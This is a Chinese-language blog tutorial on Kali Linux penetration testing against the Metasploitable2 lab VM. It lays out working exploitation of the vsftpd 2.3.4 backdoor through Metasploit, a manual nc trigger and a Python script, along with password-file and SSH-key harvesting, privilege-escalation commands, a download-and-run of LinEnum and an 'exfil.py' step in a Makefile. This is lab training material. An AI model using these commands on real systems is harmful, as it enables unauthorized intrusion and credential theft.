三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

别再死记硬背了!用Metasploitable2靶机+VMware,手把手带你玩转Kali Linux渗透测试实战

别再死记硬背了!用Metasploitable2靶机+VMware,手把手带你玩转Kali Linux渗透测试实战

Metasploitable2靶机实战:从零构建渗透测试思维框架

在网络安全领域,理论知识固然重要,但真正的能力往往来源于实战经验。Metasploitable2作为一款专为安全测试设计的靶机系统,包含了数十种精心设计的漏洞环境,是安全从业者从理论迈向实践的理想跳板。不同于传统教材中孤立的漏洞演示,我们将以方法论驱动的方式,通过这个虚拟实验室掌握渗透测试的核心思维模式——从信息收集到权限提升的完整链条。

1. 环境配置与基础认知

1.1 靶场拓扑构建

渗透测试的首要原则是隔离实验环境。建议采用如下网络配置方案:

# VMware虚拟网络编辑器配置示例 VMnet1 (Host-only): - Subnet: 192.168.100.0 - DHCP disabled

关键设备参数

设备类型IP地址角色说明
Kali Linux192.168.100.128攻击机
Metasploitable2192.168.100.132靶机
物理主机N/A观察控制台

注意:实际IP可能随网络配置变化,建议使用ip addr show命令实时确认

1.2 靶机特性解析

Metasploitable2的独特价值在于其多层次漏洞设计

  • 服务层漏洞:VSFTPD后门(21)、SSH弱口令(22)
  • 应用层漏洞:PHP CGI注入(80)、Tomcat管理台(8180)
  • 数据库漏洞:MySQL空密码(3306)、PostgreSQL弱口令(5432)
  • 协议层漏洞:Samba命令注入(139)、NFS配置错误(2049)
# 快速验证靶机网络连通性 ping -c 4 192.168.100.132 arp-scan -l --interface=eth0

2. 渗透测试方法论实践

2.1 智能信息收集技术

传统扫描工具往往产生大量噪音数据,我们需要战术性信息采集

# 针对性端口扫描(避免触发防御机制) nmap -sS -T4 --top-ports 50 -oA initial_scan 192.168.100.132 # 服务指纹识别(精确到版本号) nmap -sV -p 21,22,80 -script=banner 192.168.100.132

信息价值评估矩阵

信息类型采集工具战术价值后续行动指引
开放端口Nmap/Masscan★★★重点服务深入探测
服务版本Nmap/Netcat★★★★匹配已知漏洞库
HTTP目录Dirb/Gobuster★★Web应用测试入口
SSL配置TestSSL.sh降级攻击可能性评估

2.2 漏洞利用的艺术

以VSFTPD 2.3.4后门漏洞为例,演示多路径利用技术

方法一:Metasploit自动化利用

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.100.132 msf6 exploit(vsftpd_234_backdoor) > exploit

方法二:手动触发后门

telnet 192.168.100.132 21 USER test:) PASS whatever nc -nv 192.168.100.132 6200

方法三:Python脚本定制开发

import socket ftp = socket.socket() ftp.connect(('192.168.100.132',21)) ftp.send(b'USER test:)\r\n') ftp.send(b'PASS pass\r\n') ftp.close()

提示:同一漏洞的不同利用方式体现了渗透测试中的"工具不可知论"原则

3. 权限提升与持久化

3.1 横向移动技术

获得初始立足点后,通过凭证重用攻击扩大战果:

# 从Web应用配置文件中提取数据库凭证 grep -r "password" /var/www/ 2>/dev/null # 测试SSH密钥复用 chmod 600 id_rsa ssh -i id_rsa msfadmin@192.168.100.132

常见凭证存储位置

  • /etc/passwd & /etc/shadow
  • ~/.ssh/known_hosts
  • /var/www/html/config.php
  • /opt/backup/archive.tar.gz

3.2 权限提升路线图

Linux提权五步法

  1. 信息收集:uname -a; sudo -l; find / -perm -4000 2>/dev/null
  2. 内核漏洞利用:searchsploit linux 2.6.24
  3. 服务配置滥用:cat /etc/crontab
  4. SUID程序利用:find / -perm -u=s -type f 2>/dev/null
  5. 密码哈希破解:unshadow passwd shadow > hashes.txt
# 自动化提权检测脚本示例 wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh chmod +x LinEnum.sh ./LinEnum.sh -t -k keyword

4. 渗透测试工作流优化

4.1 自动化工具链整合

构建可重复测试框架

# 使用Makefile组织渗透流程 all: recon exploit post recon: nmap -sS -oA scan $TARGET exploit: msfconsole -r vsftpd.rc post: python3 exfil.py --ip $TARGET

典型工具链组合

  • 信息收集:Nmap + Recon-ng + theHarvester
  • 漏洞利用:Metasploit + ExploitDB + Custom Scripts
  • 后渗透:Cobalt Strike + Empire + Mythic

4.2 报告生成与知识沉淀

结构化记录模板

## 测试记录 - [日期] ### 攻击路径 1. [阶段名称] - 使用工具:`具体命令` - 获取信息:`关键数据` - 下一步行动:`决策依据` ### 时间线 | 时间 | 操作 | 结果摘要 | |------------|-------------------------------|------------------------| | 10:15 | Nmap扫描80端口 | 发现PHP 5.2.4 | | 10:30 | 测试PHP CGI漏洞 | 获取www-data权限 |

在真实渗透测试项目中,我们曾通过NFS共享漏洞获得root权限后,发现靶机上的MySQL服务竟然允许root账户空密码登录。这种漏洞组合效应使得整个内网面临沦陷风险——这正是Metasploitable2设计的精妙之处,它逼真模拟了企业环境中"一处失守,全网崩溃"的连锁反应场景。

← 返回列表